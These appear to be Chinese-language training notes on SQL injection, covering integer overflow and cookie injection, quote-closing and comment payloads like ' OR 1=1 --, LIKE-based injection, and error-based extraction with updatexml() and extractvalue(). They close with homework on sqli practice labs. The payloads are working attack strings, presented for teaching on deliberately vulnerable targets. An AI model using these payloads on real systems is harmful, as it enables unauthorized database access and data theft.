|
SQL 注入漏洞(二)
sql 注⼊ -5
1.边界值超范围注入
数据类型:
int:0 ~ 2147483647
2147483648
sql 注⼊ -6
cookie注入
cookie:⽤来存储我们的身份信息的
http 头字段⾥⾯信息也是有可能会被带⼊数据库就⾏操作的,如果有了这个操作,那么就可以尝试 sql 注⼊测试
sql 注⼊ -7
注释和闭合 通过利用开发语言规则,让带入的语句成为独立的查询条件,注释符可以注释掉多余的字符,让语句完成闭合(Mysql与SQlin,注释符不同)
select * from vulin_users where username = 'admin';
' OR '1'='1
select * from vulin_users where username = '' OR '1'='1';
select * from vulin_users where username = ''and 1=1'';
' OR 1=1 --
select * from vulin_users where username = '' OR 1=1 --';
sql注⼊-8
模糊查询
select * from vulin_users where username LIKE '%a%';
select * from vulin_users where username LIKE '%%' or 1=1 -- %';
报错注⼊
报错注⼊原理
程序员会将数据库的错误信息,打印在前端,攻击者利⽤这些错误信息进⾏认为的制造错误条件,使得查询结果能能够出现在错误信息中。
updatexml
updatexml(参数1,参数2,参数3)
updatexml(需要替换的值,替换的⽂件在哪⾥,要替换成什么)
concat()字符串拼接
原理:参数2(需要替换的⽂件)存在特殊符号就会报错,通过concat()函数配合⼦查询即可在参数位置输⼊SQL语
句进⾏注⼊
SELECT updatexml(1,'',1)
#错误信息:XPATH syntax error: ''
select updatexml(1,concat('!',(select database())),1);
#错误信息:XPATH syntax error: '!security'
#通过字符拼接后即可得到所需要的信息
Extractvalue
extractvalue() :对XML⽂档进⾏查询的函数
语法:extractvalue(⽬标xml⽂档,xml路径)
第⼆个参数 xml中的位置是可操作的地⽅,xml⽂档中查找字符位置是⽤ /xxx/xxx/xxx/…这种格式,如果我们写⼊
其他格式,就会报错,并且会返回我们写⼊的⾮法格式内容,⽽这个⾮法的内容就是我们想要查询的内容。
正常查询 第⼆个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
select username from security.users where id=1 and(extractvalue('~','/x/xx'));
但是将第⼆个参数改为错误的格式,就会导致报错,从⽽可以利⽤这⼀点进⾏注⼊
select * from users where id=1 and extractvalue(1,concat('~',(select database()),'~'));
floor()
原理有点复杂,作为了解
第14节课作业 1. 实际操作课堂讲解的yakit sql注入靶场,截图
2. 实际操作sqli靶场1-6关,要求获取到数据库名,截图
|